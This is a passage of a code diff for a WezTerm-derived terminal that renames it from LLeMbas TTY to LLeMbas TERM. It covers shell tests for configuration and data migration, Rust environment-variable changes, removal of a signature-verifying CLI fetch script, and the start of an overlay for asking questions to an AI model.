pane="$(cli spawn --new-window -- sh -c 'printf "%s\n" "id=[$'"$P"'_PANE]" "ver=[$LLEMBAS_TERM]" "exe=[$'"$P"'_EXECUTABLE]" "sock=[$'"$P"'_UNIX_SOCKET]" "term=[$TERM_PROGRAM]" "wez=[${WEZTERM_PANE-unset}/${WEZTERM_UNIX_SOCKET-unset}]" "old=[${LLEMBAS_TTY-unset}/${LLEMBAS_TTY_PANE-unset}/${LLEMBAS_TTY_EXECUTABLE-unset}/${LLEMBAS_TTY_STATUS_DIR-unset}/${LLEMBAS_TTY_UNIX_SOCKET-unset}/${LLEMBAS_TTY_AUTOCOMPLETE-unset}/${LLEMBAS_TTY_CLI-unset}]"; exec cat')"
|
||||
expect "cli spawn gives a pane id" "$pane" '^[0-9]+$'
|
||||
sleep 1
|
||||
# One value a line, and the lines joined again: a pane is 80 columns wide and wraps a long path,
|
||||
@@ -68,11 +71,12 @@ sleep 1
|
||||
text="$(cli get-text --pane-id "$pane" | tr -d '\n')"
|
||||
expect "the pane knows its own id" "$text" "id=\[$pane\]"
|
||||
expect "TERM_PROGRAM stays WezTerm" "$text" 'term=\[WezTerm\]'
|
||||
if [ "$P" = LLEMBAS_TTY ]; then
|
||||
expect "LLEMBAS_TTY is our version" "$text" "tty=\[${version//./\\.}\]"
|
||||
expect "LLEMBAS_TTY_EXECUTABLE is the launcher" "$text" "exe=\[$BIN/llembas-tty\]"
|
||||
if [ "$P" = LLEMBAS_TERM ]; then
|
||||
expect "LLEMBAS_TERM is our version" "$text" "ver=\[${version//./\\.}\]"
|
||||
expect "LLEMBAS_TERM_EXECUTABLE is the launcher" "$text" "exe=\[$BIN/llembas-term\]"
|
||||
expect "the socket variable is ours" "$text" "sock=\[$sock\]"
|
||||
expect "WezTerm's variables are not passed on" "$text" 'wez=\[unset/unset\]'
|
||||
expect "nor the variables of the terminal's earlier name" "$text" 'old=\[unset/unset/unset/unset/unset/unset/unset\]'
|
||||
fi
|
||||
|
||||
# What the LLeMbas CLI's terminal tools do: type into a pane, read it back.
|
||||
@@ -85,23 +89,116 @@ kill "$pid" 2>/dev/null; wait "$pid" 2>/dev/null
|
||||
if kill -0 "$pid" 2>/dev/null; then bad "the server did not stop"; else ok "the server stops when told"; fi
|
||||
pid=""
|
||||
|
||||
if [ "$P" = LLEMBAS_TTY ]; then
|
||||
if [ "$P" = LLEMBAS_TERM ]; then
|
||||
# The built-in configuration applied the layer: its keys are bound. And a person's own file
|
||||
# in our own directory is the one read; --skip-config gives the plain terminal.
|
||||
# (show-keys is the gui binary's; it needs its libraries but no display.)
|
||||
if keys="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"; then
|
||||
if keys="$(clean "$TERMINAL" show-keys --lua 2>"$work/keys-err.txt")"; then
|
||||
expect "built-in configuration binds the ask key" "$keys" "llembas-ask"
|
||||
plain="$(clean "$TTY" --skip-config show-keys --lua 2>/dev/null)"
|
||||
expect "the key for the list of chat models" "$keys" "key = 'M', action = act.EmitEvent 'llembas-model-key'"
|
||||
expect "the key for the list of autocomplete models" "$keys" "mods = 'ALT\|CTRL', key = 'm', action = act.EmitEvent 'llembas-autocomplete-model-key'"
|
||||
expect "the mode key" "$keys" "llembas-mode-next-key"
|
||||
expect "the palette chord, which LLeMbas IDE has too" "$keys" "key = 'P', action = act.EmitEvent 'llembas-pass-ctrl-shift-p'"
|
||||
expect "the terminal's palette on a chord of its own" "$keys" "key = 'P', action = act.EmitEvent 'llembas-palette'"
|
||||
plain="$(clean "$TERMINAL" --skip-config show-keys --lua 2>/dev/null)"
|
||||
if printf '%s' "$plain" | grep -q llembas-ask; then bad "--skip-config still has the layer"; else ok "--skip-config is the plain terminal"; fi
|
||||
# A person's file of the terminal's earlier name is read where it is while there is none
|
||||
# of the new name, with the modules beside it, and they are told to move it.
|
||||
mkdir -p "$work/cfg/llembas-tty"
|
||||
echo "return { key = 'F7' }" > "$work/cfg/llembas-tty/mine.lua"
|
||||
cat > "$work/cfg/llembas-tty/llembas-tty.lua" <<'LUA'
|
||||
local wezterm = require 'wezterm'
|
||||
local config = wezterm.config_builder()
|
||||
require('llembas').apply(config, { keys = { ask = { key = require('mine').key, mods = 'NONE' } } })
|
||||
return config
|
||||
LUA
|
||||
before="$(sha256sum < "$work/cfg/llembas-tty/llembas-tty.lua")"
|
||||
old="$(clean "$TERMINAL" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
expect "a configuration file of the old name is read while there is none of the new" "$old" "F7"
|
||||
expect "and the person is told where to move it" "$(tr -d '\n' < "$work/keys-err.txt")" "earlier name.*llembas-tty\.lua.*$work/cfg/llembas-term/llembas-term\.lua"
|
||||
if [ "$(sha256sum < "$work/cfg/llembas-tty/llembas-tty.lua")" = "$before" ] && [ ! -e "$work/cfg/llembas-term/llembas-term.lua" ]; then ok "it is not moved or copied for them"; else bad "the old configuration file was touched, or a new one made"; fi
|
||||
mkdir -p "$work/cfg/llembas-term"
|
||||
cat > "$work/cfg/llembas-term/llembas-term.lua" <<'LUA'
|
||||
local wezterm = require 'wezterm'
|
||||
local config = wezterm.config_builder()
|
||||
require('llembas').apply(config, { keys = { ask = { key = 'F9', mods = 'NONE' }, resume = false } })
|
||||
return config
|
||||
LUA
|
||||
own="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
own="$(clean "$TERMINAL" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
expect "a person's own file in our directory is read, and require 'llembas' works there" "$own" "F9"
|
||||
if printf '%s' "$own" | grep -q "F7"; then bad "the file of the old name was read though one of the new name exists"; else ok "and it wins over a file of the old name"; fi
|
||||
# The terminal's own drawing part is there for the layer (wezterm.llembas), takes what the
|
||||
# layer tells it, and the layer applied over it still binds its keys.
|
||||
cat > "$work/cfg/llembas-term/llembas-term.lua" <<'LUA'
|
||||
local wezterm = require 'wezterm'
|
||||
local config = wezterm.config_builder()
|
||||
local n = wezterm.llembas
|
||||
local out = { 'module=' .. type(n) }
|
||||
if type(n) == 'table' then
|
||||
for _, name in ipairs { 'ask_line', 'ask_active', 'ask_prefix', 'configure', 'configure_pane', 'notice', 'hint', 'status', 'complete_status', 'data_dir', 'real_path', 'local_dir', 'set_private', 'command_ended', 'clear_history' } do
|
||||
out[#out + 1] = name .. '=' .. type(n[name])
|
||||
end
|
||||
local ok, err = pcall(n.configure, {
|
||||
suggestions = true, highlight = true, ai_complete = false, cli = '/opt/x/lembas', ac_model = 'local/fast',
|
||||
ac_timeout_ms = 4000, ac_debug = true, input_mark = true, history = true, history_max = 10,
|
||||
colors = { ghost = 8, command = '#00ff00', unknown = false },
|
||||
})
|
||||
out[#out + 1] = 'configure=' .. tostring(ok) .. (ok and '' or (' ' .. tostring(err)))
|
||||
-- what is on in one pane, by its own directory's settings
|
||||
local okp, errp = pcall(n.configure_pane, 3, { suggestions = false, highlight = true, ai_complete = false, ac_model = '', input_mark = false })
|
||||
out[#out + 1] = 'configure_pane=' .. tostring(okp) .. (okp and '' or (' ' .. tostring(errp)))
|
||||
local ok2 = pcall(n.set_private, 3, true)
|
||||
out[#out + 1] = 'set_private=' .. tostring(ok2)
|
||||
-- a word that stands, set and taken away again; the autocomplete in words
|
||||
local ok3, err3 = pcall(function()
|
||||
n.hint(3, 'Enter runs', true, 4)
|
||||
n.hint(3, nil)
|
||||
-- where a pane's shell stands, and that it is no longer followed
|
||||
n.status(3, '77.5', 4, 'prompt', wezterm.home_dir)
|
||||
-- known, with no input mark to write
|
||||
n.status(3, '77.5', 5, 'running', nil)
|
||||
n.status(3, nil)
|
||||
end)
|
||||
out[#out + 1] = 'hint=' .. tostring(ok3) .. (ok3 and '' or (' ' .. tostring(err3)))
|
||||
local ok4, status = pcall(n.complete_status)
|
||||
status = ok4 and tostring(status) or ''
|
||||
out[#out + 1] = 'status=' .. tostring(status:find('engine: /opt/x/lembas', 1, true) ~= nil
|
||||
and status:find('model: local/fast', 1, true) ~= nil
|
||||
and status:find('given 4000 ms', 1, true) ~= nil
|
||||
and status:find('AI autocomplete (or AI) is off', 1, true) ~= nil
|
||||
and status:find('the next request is given 20000 ms', 1, true) ~= nil
|
||||
and status:find('not yet', 1, true) ~= nil)
|
||||
local ok5, dir = pcall(n.data_dir)
|
||||
out[#out + 1] = 'data_dir=' .. tostring(ok5 and type(dir) == 'string' and dir:sub(1, 1) == '/')
|
||||
end
|
||||
require('llembas').apply(config, { autocomplete = true })
|
||||
local f = io.open(wezterm.home_dir .. '/native.txt', 'w')
|
||||
f:write(table.concat(out, ' '))
|
||||
f:close()
|
||||
return config
|
||||
LUA
|
||||
native_keys="$(clean "$TERMINAL" show-keys --lua 2>"$work/keys-err.txt")"
|
||||
native="$(cat "$work/home/native.txt" 2>/dev/null)"
|
||||
expect "wezterm.llembas is there, with every function the layer uses" "$native" '^module=table ask_line=function ask_active=function ask_prefix=function configure=function configure_pane=function notice=function hint=function status=function complete_status=function data_dir=function real_path=function local_dir=function set_private=function command_ended=function clear_history=function configure=true configure_pane=true set_private=true hint=true status=true data_dir=true$'
|
||||
expect "the layer applies over it" "$native_keys" "llembas-ask"
|
||||
if [ -e "$work/home/.local/share/llembas-term/command-history" ]; then bad "a command history was written though no command ran"; else ok "no command history is written before a command ran"; fi
|
||||
# What the terminal itself kept under its earlier name is carried over once, at the first
|
||||
# start in a home that has no data directory of the new name; the old files stay.
|
||||
h2="$work/home2"
|
||||
mkdir -p "$h2/.local/share/llembas-tty" "$work/cfg2"
|
||||
printf '# llembas-tty history 1\n1700000000\t0\t/home/user\tls -la\n' > "$h2/.local/share/llembas-tty/command-history"
|
||||
: > "$h2/.local/share/llembas-tty/settings-chosen"
|
||||
echo '[]' > "$h2/.local/share/llembas-tty/recent-commands.json"
|
||||
clean2() { env -i PATH=/usr/bin:/bin HOME="$h2" XDG_RUNTIME_DIR="$work/run" XDG_CONFIG_HOME="$work/cfg2" "$@"; }
|
||||
clean2 "$TERMINAL" show-keys --lua >/dev/null 2>"$work/carry-err.txt"
|
||||
new="$h2/.local/share/llembas-term"
|
||||
if cmp -s "$new/command-history" "$h2/.local/share/llembas-tty/command-history" && [ -f "$new/settings-chosen" ]; then ok "the command history and the settings mark are carried over"; else bad "not carried over: $(find "$new" -maxdepth 1 2>&1 | tr '\n' ' '); said: $(head -c 400 "$work/carry-err.txt")"; fi
|
||||
if [ -e "$new/recent-commands.json" ]; then bad "a file that is not the terminal's own two was carried over"; else ok "and nothing else"; fi
|
||||
if [ -f "$h2/.local/share/llembas-tty/command-history" ] && [ -f "$h2/.local/share/llembas-tty/settings-chosen" ]; then ok "the old files stay where they were"; else bad "an old file is gone"; fi
|
||||
expect "what was carried over is said in the log" "$(tr -d '\n' < "$work/carry-err.txt")" "carried over.*command-history, settings-chosen"
|
||||
echo 'changed since' > "$new/command-history"
|
||||
clean2 "$TERMINAL" show-keys --lua >/dev/null 2>&1
|
||||
expect "a second start writes over nothing" "$(cat "$new/command-history")" '^changed since$'
|
||||
else
|
||||
bad "show-keys did not run: $(head -5 "$work/keys-err.txt")"
|
||||
fi
|
||||
|
||||
+4
-4
@@ -476,12 +476,12 @@ impl LocalDomain {
|
||||
if let Some(dir) = command_dir {
|
||||
cmd.cwd(dir);
|
||||
}
|
||||
// LLeMbas TTY: its own variable names, so that neither this program
|
||||
// LLeMbas TERM: its own variable names, so that neither this program
|
||||
// nor a WezTerm running beside it talks to the other's panes.
|
||||
if let Ok(sock) = std::env::var("LLEMBAS_TTY_UNIX_SOCKET") {
|
||||
cmd.env("LLEMBAS_TTY_UNIX_SOCKET", sock);
|
||||
if let Ok(sock) = std::env::var("LLEMBAS_TERM_UNIX_SOCKET") {
|
||||
cmd.env("LLEMBAS_TERM_UNIX_SOCKET", sock);
|
||||
}
|
||||
cmd.env("LLEMBAS_TTY_PANE", pane_id.to_string());
|
||||
cmd.env("LLEMBAS_TERM_PANE", pane_id.to_string());
|
||||
if let Some(agent) = Mux::get().agent.as_ref() {
|
||||
cmd.env("SSH_AUTH_SOCK", agent.path());
|
||||
}
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
# Put the LLeMbas CLI that LLeMbas TTY carries where the package takes it from:
|
||||
# llembas/packaging/bin/lembas (git-ignored; installed beside the terminal's own binaries,
|
||||
# never on PATH)
|
||||
#
|
||||
# scripts/fetch-cli.sh [target-triple] (default: this machine's, from rustc)
|
||||
#
|
||||
# The version is the one in llembas-cli.version. The files are checked exactly as the CLI's own
|
||||
# get.sh checks them: SHA256SUMS signed by the release key in the namespace lembas-release, naming
|
||||
# this version, and the binary matching it. Nothing unverified is bundled.
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")/.."
|
||||
|
||||
VERSION="$(tr -d '[:space:]' < llembas-cli.version)"
|
||||
TRIPLE="${1:-$(rustc -vV | sed -n 's/^host: //p')}"
|
||||
BASE="${LEMBAS_CLI_RELEASES:-https://github.com/LLeMbas/LLeMbas-CLI/releases/download}/v${VERSION}"
|
||||
PUBKEY="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSZO3Byow7R3ZpOH3MCvpPIga2pZBzhfX5wXfNP1cLa"
|
||||
|
||||
case "$TRIPLE" in
|
||||
# The baseline build runs on any x86-64 CPU, not only those with AVX2: a terminal meets
|
||||
# older machines than a server does.
|
||||
x86_64-unknown-linux-gnu) ASSET=lembas-linux-x64-baseline ;;
|
||||
aarch64-unknown-linux-gnu) ASSET=lembas-linux-arm64 ;;
|
||||
*) echo "fetch-cli: no LLeMbas CLI build for $TRIPLE yet" >&2; exit 1 ;;
|
||||
esac
|
||||
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
for f in SHA256SUMS SHA256SUMS.sig "$ASSET.gz"; do
|
||||
curl -fsSL --retry 3 -o "$work/$f" "$BASE/$f"
|
||||
done
|
||||
|
||||
printf 'lembas-release %s\n' "$PUBKEY" > "$work/allowed"
|
||||
ssh-keygen -Y verify -f "$work/allowed" -I lembas-release -n lembas-release \
|
||||
-s "$work/SHA256SUMS.sig" < "$work/SHA256SUMS" >/dev/null \
|
||||
|| { echo "fetch-cli: SHA256SUMS is not signed by the release key" >&2; exit 1; }
|
||||
[ "$(sed -n -E 's/^# lembas //p' "$work/SHA256SUMS" | head -n1)" = "$VERSION" ] \
|
||||
|| { echo "fetch-cli: SHA256SUMS is not for $VERSION" >&2; exit 1; }
|
||||
(cd "$work" && grep -E " $ASSET\.gz\$" SHA256SUMS | sha256sum -c --strict --quiet -) \
|
||||
|| { echo "fetch-cli: $ASSET.gz does not match SHA256SUMS" >&2; exit 1; }
|
||||
|
||||
mkdir -p llembas/packaging/bin
|
||||
gunzip -c "$work/$ASSET.gz" > llembas/packaging/bin/lembas
|
||||
chmod 755 llembas/packaging/bin/lembas
|
||||
echo "fetch-cli: LLeMbas CLI $VERSION ($ASSET) -> llembas/packaging/bin/lembas"
|
||||
@@ -1223,9 +1223,9 @@ impl Client {
|
||||
prefer_mux: bool,
|
||||
class_name: &str,
|
||||
) -> anyhow::Result<config::UnixDomain> {
|
||||
// LLeMbas TTY: its own variable names here and below; WezTerm's own
|
||||
// LLeMbas TERM: its own variable names here and below; WezTerm's own
|
||||
// are never read, so a WezTerm pane that starts us is not taken for ours.
|
||||
match std::env::var_os("LLEMBAS_TTY_UNIX_SOCKET") {
|
||||
match std::env::var_os("LLEMBAS_TERM_UNIX_SOCKET") {
|
||||
Some(path) if !path.is_empty() => Ok(config::UnixDomain {
|
||||
socket_path: Some(path.into()),
|
||||
..Default::default()
|
||||
@@ -1247,7 +1247,7 @@ impl Client {
|
||||
.first()
|
||||
.ok_or_else(|| {
|
||||
anyhow!(
|
||||
"no default unix domain is configured and LLEMBAS_TTY_UNIX_SOCKET \
|
||||
"no default unix domain is configured and LLEMBAS_TERM_UNIX_SOCKET \
|
||||
is not set in the environment"
|
||||
)
|
||||
})?
|
||||
@@ -1317,7 +1317,7 @@ impl Client {
|
||||
let pane_id: PaneId = match pane_id {
|
||||
Some(p) => p,
|
||||
None => {
|
||||
if let Ok(pane) = std::env::var("LLEMBAS_TTY_PANE") {
|
||||
if let Ok(pane) = std::env::var("LLEMBAS_TERM_PANE") {
|
||||
pane.parse()?
|
||||
} else {
|
||||
let mut clients = self.list_clients().await?.clients;
|
||||
@@ -1325,7 +1325,7 @@ impl Client {
|
||||
clients.sort_by(|a, b| b.last_input.cmp(&a.last_input));
|
||||
if clients.is_empty() {
|
||||
anyhow::bail!(
|
||||
"--pane-id was not specified and $LLEMBAS_TTY_PANE
|
||||
"--pane-id was not specified and $LLEMBAS_TERM_PANE
|
||||
is not set in the environment, and I couldn't
|
||||
determine which pane was currently focused"
|
||||
);
|
||||
|
||||
@@ -4,8 +4,8 @@ use config::{GuiPosition, SshParameters};
|
||||
use std::ffi::OsString;
|
||||
use std::path::PathBuf;
|
||||
|
||||
// LLeMbas TTY: its own window class / app id
|
||||
pub const DEFAULT_WINDOW_CLASS: &str = "eu.llembas.tty";
|
||||
// LLeMbas TERM: its own window class / app id
|
||||
pub const DEFAULT_WINDOW_CLASS: &str = "eu.llembas.term";
|
||||
|
||||
/// Helper for parsing config overrides
|
||||
pub fn name_equals_value(arg: &str) -> Result<(String, String), String> {
|
||||
@@ -63,7 +63,7 @@ pub struct StartCommand {
|
||||
pub _cmd: bool,
|
||||
|
||||
/// Override the default windowing system class.
|
||||
/// The default is "eu.llembas.tty".
|
||||
/// The default is "eu.llembas.term".
|
||||
/// Under X11 and Windows this changes the window class.
|
||||
/// Under Wayland this changes the app_id.
|
||||
/// This changes the class for all windows spawned by this
|
||||
@@ -144,7 +144,7 @@ pub struct SshCommand {
|
||||
pub verbose: bool,
|
||||
|
||||
/// Override the default windowing system class.
|
||||
/// The default is "eu.llembas.tty".
|
||||
/// The default is "eu.llembas.term".
|
||||
/// Under X11 and Windows this changes the window class.
|
||||
/// Under Wayland this changes the app_id.
|
||||
/// This changes the class for all windows spawned by this
|
||||
@@ -176,7 +176,7 @@ pub struct SerialCommand {
|
||||
pub baud: Option<usize>,
|
||||
|
||||
/// Override the default windowing system class.
|
||||
/// The default is "eu.llembas.tty".
|
||||
/// The default is "eu.llembas.term".
|
||||
/// Under X11 and Windows this changes the window class.
|
||||
/// Under Wayland this changes the app_id.
|
||||
/// This changes the class for all windows spawned by this
|
||||
@@ -214,7 +214,7 @@ pub struct ConnectCommand {
|
||||
pub new_tab: bool,
|
||||
|
||||
/// Override the default windowing system class.
|
||||
/// The default is "eu.llembas.tty".
|
||||
/// The default is "eu.llembas.term".
|
||||
/// Under X11 and Windows this changes the window class.
|
||||
/// Under Wayland this changes the app_id.
|
||||
/// This changes the class for all windows spawned by this
|
||||
|
||||
@@ -9,10 +9,10 @@ publish = false
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
# LLeMbas TTY: its own binary name, so that it installs beside WezTerm.
|
||||
# LLeMbas TERM: its own binary name, so that it installs beside WezTerm.
|
||||
# The package keeps upstream's name.
|
||||
[[bin]]
|
||||
name = "llembas-tty-gui"
|
||||
name = "llembas-term-gui"
|
||||
path = "src/main.rs"
|
||||
|
||||
[features]
|
||||
@@ -65,6 +65,8 @@ image.workspace = true
|
||||
lazy_static.workspace = true
|
||||
lfucache.workspace = true
|
||||
libc.workspace = true
|
||||
# LLeMbas TERM: the logic of the ask line, suggestions and highlighting (llembas/line)
|
||||
llembas-line = { path = "../llembas/line" }
|
||||
log.workspace = true
|
||||
luahelper.workspace = true
|
||||
metrics.workspace = true
|
||||
|
||||
@@ -0,0 +1,494 @@
|
||||
//! LLeMbas TERM: the ask line.
|
||||
//!
|
||||
//! The person presses the ask key at their prompt and the line they are on
|
||||
//! becomes a line for a question to LLeMbas, in its place: the row of the
|
||||
//! cursor shows `llembas <model> · <mode> › ` and what they type. Enter sends
|
||||
//! the question (to the layer, as an event); Escape, or the key again, leaves
|
||||
//! it. The shell's own line is as it was before: nothing typed here is ever
|
||||
//! sent to the shell, and nothing is written to the pane.
|
||||
//!
|
||||
//! It is an overlay over the pane, as the terminal's own search and quick
|
||||
//! select are (`overlay/quickselect.rs` is the model for this file): while it
|
||||
//! is there the terminal gives the keys to it and draws the pane through it.
|
||||
//! It draws the pane's own lines, with the one row replaced. The editing is
|
||||
//! `llembas_line::editor`, which is where its tests are.
|
||||
|
||||
use super::state;
|
||||
use crate::scripting::guiwin::GuiWin;
|
||||
use crate::termwindow::TermWindow;
|
||||
use config::keyassignment::ScrollbackEraseMode;
|
||||
use llembas_line::editor::{self, Key, LineEditor, Outcome};
|
||||
use mux::domain::DomainId;
|
||||
use mux::pane::{CachePolicy, ForEachPaneLogicalLine, LogicalLine, Pane, PaneId, WithPaneLines};
|
||||
use mux::renderable::*;
|
||||
use mux::Mux;
|
||||
use mux_lua::MuxPane;
|
||||
use parking_lot::{MappedMutexGuard, Mutex, MutexGuard};
|
||||
use rangeset::RangeSet;
|
||||
use std::ops::Range;
|
||||
use std::rc::Rc;
|
||||
use std::sync::Arc;
|
||||
use termwiz::cell::CellAttributes;
|
||||
use termwiz::surface::{CursorShape, CursorVisibility, SequenceNo, SEQ_ZERO};
|
||||
use url::Url;
|
||||
use wezterm_term::color::ColorPalette;
|
||||
use wezterm_term::{
|
||||
Clipboard, Intensity, KeyCode, KeyModifiers, Line, MouseEvent, StableRowIndex, TerminalSize,
|
||||
};
|
||||
use window::WindowOps;
|
||||
|
||||
/// What the layer asks for.
|
||||
pub struct AskArgs {
|
||||
/// What stands before the question: the model and mode that will answer.
|
||||
pub prefix: String,
|
||||
/// The event the question comes back as.
|
||||
pub event: String,
|
||||
/// What stands on the line when it opens: a question given back (its
|
||||
/// display could not take it). Usually empty.
|
||||
pub text: String,
|
||||
}
|
||||
|
||||
pub struct AskOverlay {
|
||||
delegate: Arc<dyn Pane>,
|
||||
state: Mutex<AskState>,
|
||||
/// What is written to this pane goes nowhere: the shell under it gets
|
||||
/// nothing while the ask line is there.
|
||||
sink: Mutex<std::io::Sink>,
|
||||
}
|
||||
|
||||
struct AskState {
|
||||
editor: LineEditor,
|
||||
prefix: String,
|
||||
event: String,
|
||||
window: ::window::Window,
|
||||
gui_win: GuiWin,
|
||||
/// Sent or left: further keys do nothing while the overlay goes away.
|
||||
done: bool,
|
||||
/// Which ask line of the pane this is (`state::ask_opened`).
|
||||
opened: u64,
|
||||
}
|
||||
|
||||
/// The columns a character takes.
|
||||
fn char_width(c: char) -> usize {
|
||||
let mut buf = [0u8; 4];
|
||||
wezterm_term::unicode_column_width(c.encode_utf8(&mut buf), None)
|
||||
}
|
||||
|
||||
/// A key of the terminal as the editor knows it; `None` for a key that means
|
||||
/// nothing on the ask line.
|
||||
fn map_key(key: KeyCode, mods: KeyModifiers) -> Option<Key> {
|
||||
let none = mods == KeyModifiers::NONE || mods == KeyModifiers::SHIFT;
|
||||
let ctrl = mods == KeyModifiers::CTRL;
|
||||
let alt = mods == KeyModifiers::ALT;
|
||||
match key {
|
||||
KeyCode::Char(c) if ctrl => match c.to_ascii_lowercase() {
|
||||
'a' => Some(Key::Home),
|
||||
'e' => Some(Key::End),
|
||||
'b' => Some(Key::Left),
|
||||
'f' => Some(Key::Right),
|
||||
'h' => Some(Key::Backspace),
|
||||
'd' => Some(Key::Delete),
|
||||
'w' => Some(Key::DeleteWordLeft),
|
||||
'u' => Some(Key::DeleteToStart),
|
||||
'k' => Some(Key::DeleteToEnd),
|
||||
'p' => Some(Key::Up),
|
||||
'n' => Some(Key::Down),
|
||||
'j' | 'm' => Some(Key::Enter),
|
||||
'c' | 'g' => Some(Key::Cancel),
|
||||
_ => None,
|
||||
},
|
||||
KeyCode::Char(c) if alt => match c.to_ascii_lowercase() {
|
||||
'b' => Some(Key::WordLeft),
|
||||
'f' => Some(Key::WordRight),
|
||||
'd' => Some(Key::DeleteWordRight),
|
||||
'\u{7f}' | '\u{8}' => Some(Key::DeleteWordLeft),
|
||||
_ => None,
|
||||
},
|
||||
KeyCode::Char('\r') | KeyCode::Char('\n') if none => Some(Key::Enter),
|
||||
KeyCode::Char('\u{1b}') => Some(Key::Cancel),
|
||||
KeyCode::Char('\u{7f}') | KeyCode::Char('\u{8}') if none => Some(Key::Backspace),
|
||||
KeyCode::Char(c) if none => Some(Key::Char(c)),
|
||||
KeyCode::Enter if none => Some(Key::Enter),
|
||||
KeyCode::Escape => Some(Key::Cancel),
|
||||
KeyCode::Backspace if alt || ctrl => Some(Key::DeleteWordLeft),
|
||||
KeyCode::Backspace => Some(Key::Backspace),
|
||||
KeyCode::Delete if alt || ctrl => Some(Key::DeleteWordRight),
|
||||
KeyCode::Delete => Some(Key::Delete),
|
||||
KeyCode::LeftArrow if alt || ctrl => Some(Key::WordLeft),
|
||||
KeyCode::LeftArrow => Some(Key::Left),
|
||||
KeyCode::RightArrow if alt || ctrl => Some(Key::WordRight),
|
||||
KeyCode::RightArrow => Some(Key::Right),
|
||||
KeyCode::UpArrow => Some(Key::Up),
|
||||
KeyCode::DownArrow => Some(Key::Down),
|
||||
KeyCode::Home => Some(Key::Home),
|
||||
KeyCode::End => Some(Key::End),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The ask key: turn the pane's line into the ask line, or back when it is
|
||||
/// one already.
|
||||
pub fn toggle(term_window: &mut TermWindow, pane_id: PaneId, args: AskArgs) {
|
||||
let window = match term_window.window.clone() {
|
||||
Some(window) => window,
|
||||
None => return,
|
||||
};
|
||||
let existing = term_window
|
||||
.pane_state(pane_id)
|
||||
.overlay
|
||||
.as_ref()
|
||||
.map(|overlay| overlay.pane.clone());
|
||||
if let Some(existing) = existing {
|
||||
// The key again leaves the ask line. Another overlay (search, copy
|
||||
// mode) keeps the pane: it was asked for first.
|
||||
if let Some(ask) = existing.downcast_ref::<AskOverlay>() {
|
||||
ask.state.lock().close(pane_id);
|
||||
}
|
||||
return;
|
||||
}
|
||||
let pane = match Mux::get().get_pane(pane_id) {
|
||||
Some(pane) => pane,
|
||||
None => return,
|
||||
};
|
||||
|
||||
// The line is drawn at the cursor: the pane shows its end, not its past.
|
||||
let dims = pane.get_dimensions();
|
||||
term_window.set_viewport(pane_id, None, dims);
|
||||
|
||||
let mut editor = LineEditor::new(&state::questions());
|
||||
if !args.text.is_empty() {
|
||||
let _ = editor.insert_text(&args.text);
|
||||
}
|
||||
let overlay: Arc<dyn Pane> = Arc::new(AskOverlay {
|
||||
delegate: pane,
|
||||
state: Mutex::new(AskState {
|
||||
editor,
|
||||
prefix: args.prefix,
|
||||
event: args.event,
|
||||
window: window.clone(),
|
||||
gui_win: GuiWin::new(term_window),
|
||||
done: false,
|
||||
opened: state::ask_opened(pane_id),
|
||||
}),
|
||||
sink: Mutex::new(std::io::sink()),
|
||||
});
|
||||
term_window.assign_overlay_for_pane(pane_id, overlay);
|
||||
window.invalidate();
|
||||
}
|
||||
|
||||
/// Another model or mode was chosen while the ask line is there: what stands
|
||||
/// before the question says so at once. Nothing happens for a pane without one.
|
||||
pub fn set_prefix(term_window: &mut TermWindow, pane_id: PaneId, prefix: String) {
|
||||
let existing = term_window
|
||||
.pane_state(pane_id)
|
||||
.overlay
|
||||
.as_ref()
|
||||
.map(|overlay| overlay.pane.clone());
|
||||
if let Some(ask) = existing
|
||||
.as_ref()
|
||||
.and_then(|pane| pane.downcast_ref::<AskOverlay>())
|
||||
{
|
||||
ask.state.lock().prefix = prefix;
|
||||
if let Some(window) = term_window.window.as_ref() {
|
||||
window.invalidate();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for AskOverlay {
|
||||
fn drop(&mut self) {
|
||||
state::ask_closed(self.delegate.pane_id(), self.state.lock().opened);
|
||||
}
|
||||
}
|
||||
|
||||
/// Hand the question to the layer: the event, with the window, the pane and
|
||||
/// the line, as a one-line prompt of the terminal hands its line over
|
||||
/// (`overlay/prompt.rs`).
|
||||
fn emit(name: String, window: GuiWin, pane: MuxPane, line: String) {
|
||||
async fn do_event(
|
||||
lua: Option<Rc<mlua::Lua>>,
|
||||
name: String,
|
||||
window: GuiWin,
|
||||
pane: MuxPane,
|
||||
line: String,
|
||||
) -> anyhow::Result<()> {
|
||||
if let Some(lua) = lua {
|
||||
let args = lua.pack_multi((window, pane, line))?;
|
||||
if let Err(err) = config::lua::emit_event(&lua, (name.clone(), args)).await {
|
||||
log::error!("while processing {} event: {:#}", name, err);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
promise::spawn::spawn(async move {
|
||||
config::with_lua_config_on_main_thread(move |lua| do_event(lua, name, window, pane, line))
|
||||
.await
|
||||
})
|
||||
.detach();
|
||||
}
|
||||
|
||||
impl AskState {
|
||||
fn close(&mut self, pane_id: PaneId) {
|
||||
self.done = true;
|
||||
state::ask_closed(pane_id, self.opened);
|
||||
TermWindow::schedule_cancel_overlay_for_pane(self.window.clone(), pane_id);
|
||||
}
|
||||
|
||||
fn apply(&mut self, pane_id: PaneId, outcome: Outcome) {
|
||||
match outcome {
|
||||
Outcome::Unchanged => {}
|
||||
Outcome::Changed => self.window.invalidate(),
|
||||
Outcome::Cancel => self.close(pane_id),
|
||||
Outcome::Submit(line) => {
|
||||
state::remember_question(&line);
|
||||
emit(
|
||||
self.event.clone(),
|
||||
self.gui_win.clone(),
|
||||
MuxPane(pane_id),
|
||||
line,
|
||||
);
|
||||
self.close(pane_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl AskOverlay {
|
||||
/// The row the ask line is drawn on: the cursor's, or the bottom row when
|
||||
/// a full-screen program has the pane.
|
||||
fn row(&self) -> StableRowIndex {
|
||||
let dims = self.delegate.get_dimensions();
|
||||
